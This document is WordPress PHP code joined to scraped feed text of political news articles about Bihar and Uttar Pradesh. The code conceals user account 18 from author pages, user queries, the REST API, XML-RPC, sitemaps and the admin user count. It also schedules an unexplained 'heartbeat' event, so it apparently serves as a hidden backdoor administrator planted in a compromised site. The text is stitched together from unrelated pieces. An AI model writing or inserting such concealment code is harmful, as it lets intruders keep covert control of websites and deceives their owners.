add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Yogi model or Nitish model? What will be the agenda of NDA government in Bihar appeared first on The Edge Media.
]]>Please tell that 42 year old Indigo manager Rupesh Kumar Singh was working at Patna Airport. On Tuesday, two bike-ridden criminals killed him in front of his house by firing them. In the capital’s high profile area, the politics of Bihar has been heated due to the murder. On the one hand, the opposition has opened a front against the Nitish government on the law and order and on the other hand BJP and JDU leaders have come face to face.
BJP’s Chhattisgarh co-in-charge and Bihar Bankipur MLA Nitin Naveen has suggested to the government in Bihar to implement Yogi Adityanath’s encounter model of crime control in Uttar Pradesh. He has said that the law and order situation in Bihar is getting worse day by day, which is a big challenge for the Nitish government. The Bihar government should seriously consider this and the state should also adopt the Yogi model against criminals on the lines of UP. From BJP Rajya Sabha member Vivek Thakur to Chhapra BJP MP Rajiv Pratap Rudy, all BJP leaders have questioned the functioning of Bihar Police.
On the statement made by many leaders including BJP MLA Nitin Naveen to question the law and order in Bihar and adopting UP’s Yogi model here, JDU has said that crime will be controlled only by Nitish model in Bihar. JDU’s chief spokesperson Sanjay Kumar objected to the BJP MLA’s statement that Bihar has Nitish Kumar’s government and law and order is under control. With the development of Bihar under the Nitish model, the rule of law has also been established. Nitish government does not need a certificate from anyone on law and order.
Leader of Opposition Tejashwi Yadav said that if the department is not handling Nitish Kumar, then give it to someone else. Anyway, he did not have the desire to become CM, so why are he forcibly made. Talking about other recent big cases with Rupesh murder, Tejashwi has alleged that the demon raj in Bihar has said that Bihar is not able to handle the ‘C grade party’s compassionate chief minister’ Nitish Kumar, so he should resign immediately. He also demanded an impartial inquiry into the entire matter, saying that usually the opposition raises questions, but it is ridiculous that Bijpi is also raising questions, which is in the government itself.
The way swords have been pulled together in the BJP and JDU over the law and order of Bihar. Home department is with Chief Minister Nitish Kumar. Because of this, BJP continues to question the functioning of the police even after being an ally in power.
Actually, JDU seats have come down from BJP this time in Bihar assembly elections. BJP has got 74 seats while JDU has got 43 seats. It has been two months since the Nitish government was formed in Bihar, but so far neither the cabinet has been expanded nor the Legislative Council seats have been agreed. The reason behind this is that the BJP is asking for more ministerial posts in the cabinet, but Nitish is not ready to agree on this. Not only this, BJP being a big party in Bihar wants to interfere in the government according to its own, but JDU is insisting on its own.
The post Yogi model or Nitish model? What will be the agenda of NDA government in Bihar appeared first on The Edge Media.
]]>The post Is Yogi replacing third deputy chief minister in government? appeared first on The Edge Media.
]]>Arvind Kumar Sharma, the eldest son of Shivamurthy Rai and Shanti Devi, who lived in the village of Kazakhurd under Ranipur development block of Mohammadabad Gohna tehsil of Mau district, was born on April 11, 1962. Arvind Sharma’s father was a traffic inspector and mother housewife at Roadways. The eldest of the three brothers, Arvind was brilliant since childhood. After completing his initial education from the primary school in the village, he completed his studies from DAV Inter College to Intermediate. After this, he turned to Allahabad University for graduation. From here, topped the Masters course in Political Science. After this, he also got a PhD from the University of Allahabad. After this, he started a job as Assistant Professor in the Political Science Department of Allahabad University. Arvind, who dreamed of going to civil service, also worked very hard on teaching with teaching. In the third attempt, in the year 1988, Arvind was selected for the Indian Administrative Service in Gujarat cadre. He was posted to the post of SDM in 1989. He became the commissioner of Mehsana in the year 1995.
Arvind made his own identity with hard work and hard work. In 2001, when Narendra Modi took over as the Chief Minister of Gujarat, Arvind Sharma was the chief among the honest leaders posted in his office. Arvand got the post of Secretary Chief Minister and in the year 2013, he was promoted and given the responsibility of Additional Principal Secretary to Chief Minister. When Narendra Modi became Prime Minister in the year 2014, Arvind did not forget to bring the Prime Minister’s office with him. In June 2014, he was made Joint Secretary in the Prime Minister’s Office on central deputation. At present, Arvind Sharma was posted as Secretary in the Ministry of Small and Micro Industries. Sharma took voluntary retirement on 11 January. Since then, the market of speculation in the political corridors from Gujarat to Uttar Pradesh is hot. It is believed that Arvind Sharma’s second innings may start in the political arena. Arvind can be given the responsibility of deputy chief minister in the Yogi Adityanath government in Uttar Pradesh.
The post Is Yogi replacing third deputy chief minister in government? appeared first on The Edge Media.
]]>The post Rage on Yogi’s film city, Uddhav said – competition is a good thing, but the threat will not work appeared first on The Edge Media.
]]>The post Rage on Yogi’s film city, Uddhav said – competition is a good thing, but the threat will not work appeared first on The Edge Media.
]]>